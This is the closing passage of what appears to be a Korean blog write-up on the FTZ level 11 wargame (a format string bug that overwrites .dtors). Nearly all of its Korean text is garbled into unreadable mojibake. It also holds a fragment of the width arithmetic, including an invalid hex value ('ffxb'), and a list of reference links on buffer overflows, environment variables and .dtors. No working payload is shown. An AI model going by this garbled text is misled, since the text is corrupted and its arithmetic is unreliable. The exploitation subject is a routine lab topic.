65471 - 24 = 64514, ๋ค์๋ ๋๊ฐ์ด ํด์ผํ๋๋ฐ ํฌ๊ธฐ๊ฐ ์๋์ ์์ ์ฆ, ๋ณด์ ๊ฐ์ด ๋์ค์์์
๊ทธ๋ฌ๋ฏ๋ก CS๋ฅผ ๋ฐฐ์ฐ์
จ๋ค๋ฉด ์์๊ฒ ์ง๋ง ๋ณด์์ ๊ฐ์ด ์๊ธฐ์ ์ต์๋จ์ 1์ ์ถ๊ฐํด 1fc20 - ffxb = 50145๋ก
๋์์.. ์ด๊ฑด ์์ ์ ๊ณ์ ํ๋ค๋ณด๋๊น.. ๊ทธ๋ฐ๋ฐ ํด๋ณด๋ฉด.. ์๋๋๋ผ๊ณ ์ ๋์ค์ ๋ค์ ํ ๊ป์ ใ
๋ค์ ์ค๋ช
์ด ๋ถ์น์ ํ ์ด์ ๋ ๊ณ์ ๋ ์๊ฐ์ ํ๊ฐ ๋๋ฌด ๋ฌ๋๋ฐ.. ใ
์ด์ฉ ์ ์์ฃ
์ ๊น๋จน์ ์ ์์ผ๋๊น ๋ค์ํ ๋ฐฉ๋ฒ์ผ๋ก ํ๊ณ ์ถ๋ค๋ฉด ๋๊ธ๋ก๋ ๋ชจ๋ ์ฌ์ดํด์ฃผ์ธ์ ๊ทธ๋ผ ์ด๋ง
์ฐธ๊ณ ์๋ฃ
BOF - ํ๊ฒฝ๋ณ์ ์ด์ฉํ๊ธฐ
ํ๊ฒฝ๋ณ์ :์์คํ ์์ ์ฌ์ฉํ๋ ๋ณ์ (์์คํ ์ ์ค์ ์ด๋ ๋ช ๋ น์ด์ ๊ฒฝ๋ก ๋ฑ์ด ์ ์ฅ๋์ด์์) -ํ๊ฒฝ๋ณ์๋ ๋ฉ๋ชจ๋ฆฌ ์ด๋๊ฐ์ ํญ์ ์ ์ฅ๋์ด ์๋ค. (*nic ๊ณ์ด์ ์์์ ํ๊ฒฝ๋ณ์๋ ํฌ์ธํฐ๋ก ์ฐธ์กฐ๋
yehey-study.tistory.com
ctors, dtors ์์ญ
ํฌ๋งท์คํธ๋ง ๋ฒ๊ทธ์ ์ด์ฉํ๋ .dtors ์์ญ์ ๋ํด์ ์์ ๋ณด๊ฒ ์ต๋๋ค. GNU Compiler(gcc)๋ ์ปดํ์ผ ํ ๋ .ctors, .dtors ๋ segment๋ฅผ ์์ฑํฉ๋๋ค. (gcc์ ์์ฑ) ( ctors - constructor, dtors - destructor )..
bbolmin.tistory.com
getenv() — ํ๊ฒฝ ๋ณ์ ๊ฒ์
ํ์ #include char *getenv(const char *varname); ์์ CCSID ์ธํฐํ์ด์ค ์ด ํจ์๋ก ๋ณด๋ด์ง ๋ชจ๋ ๋ฌธ์๋ ์์ ์ CCSID์ ์์ ๊ฒ์ผ๋ก ์์ํฉ๋๋ค. ์ด ํจ์์์ ๋ฆฌํด๋ ๋ชจ๋ ๋ฌธ์ ๋ฐ์ดํฐ๋ ์์ ์ CCSID์ ์์
www.ibm.com
[FTZ] level 11(FSB, DTOR)
[ํ์ด์ ํ๋ฆ] 1. ์ํฉํ์ : ๊ธฐ๋ณธ ํด๋์ ๋ด์ฉ์ ํ์ธํ๋ค. 2. ์ ๋ณด์์ง : hintํ์ผ์ ํ์ธํ๋ค. 3. ์ฝ์ ...
blog.naver.com
[FTZ] level 11(FSB, DTOR)
[ํ์ด์ ํ๋ฆ] 1. ์ํฉํ์ : ๊ธฐ๋ณธ ํด๋์ ๋ด์ฉ์ ํ์ธํ๋ค. 2. ์ ๋ณด์์ง : hintํ์ผ์ ํ์ธํ๋ค. 3. ์ฝ์ ...
blog.naver.com
์ฐธ๊ณ ์ด๋ฏธ์ง
Sea Level free icons designed by surang
Download now this vector icon in SVG, PSD, PNG, EPS format or as webfonts. Flaticon, the largest database of free icons.
www.flaticon.com